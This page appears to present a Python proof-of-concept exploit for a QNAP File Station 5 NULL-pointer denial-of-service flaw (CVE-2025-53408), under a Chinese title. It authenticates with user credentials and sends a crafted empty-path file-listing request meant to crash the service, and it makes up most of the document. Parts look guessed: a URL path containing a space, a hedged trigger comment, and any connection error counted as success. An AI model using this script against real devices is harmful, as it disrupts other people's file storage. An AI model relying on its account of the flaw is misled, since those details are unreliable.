QNAP File Station 5 NULL指针解引用拒绝服务漏洞(CVE-2025-53408)

import requests import sys # CVE-2025-53408 PoC - File Station NULL Pointer Dereference # Target: QNAP File Station 5 (< 5.5.6.5018) # Note: Requires valid low-privilege user credentials TARGET_URL = "https://<qnap-ip>:443/" # Replace with target QNAP IP USERNAME = "attacker" # Replace with valid username PASSWORD = "password" # Replace with valid password def get_auth_token(): """Obtain authentication token via File Station API""" login_url = f"{TARGET_URL}file station/cgi/filemanager/authLogin.cgi" data = { "username": USERNAME, "password": PASSWORD } try: response = requests.post(login_url, data=data, verify=False, timeout=10) if response.status_code == 200: return response.json().get('authSid') except Exception as e: print(f"[-] Authentication failed: {e}") return None def trigger_null_ptr_deref(auth_sid): """Send crafted request to trigger NULL pointer dereference""" # Malformed request targeting file listing with invalid parameters exploit_url = f"{TARGET_URL}file station/cgi/filemanager/fileOperation.cgi" headers = { "Cookie": f"NAS_SID={auth_sid}", "Content-Type": "application/x-www-form-urlencoded" } # Trigger condition: NULL pointer dereference via invalid file handle payload = { "func": "list_all_files", "path": "", # Empty path may trigger NULL "order_by": "name", "isMedia": "1" } try: response = requests.post(exploit_url, headers=headers, data=payload, verify=False, timeout=10) print(f"[*] Response Status: {response.status_code}") return response.status_code == 500 except requests.exceptions.RequestException: return True # Service crash indicates successful exploitation def main(): print("[*] CVE-2025-53408 PoC - QNAP File Station NULL Pointer Dereference") auth_sid = get_auth_token() if not auth_sid: print("[-] Failed to obtain authentication token") sys.exit(1) print(f"[+] Authenticated successfully") if trigger_null_ptr_deref(auth_sid): print("[+] DoS condition triggered - File Station may be unavailable") else: print("[-] Exploit did not trigger vulnerability") if __name__ == "__main__": main()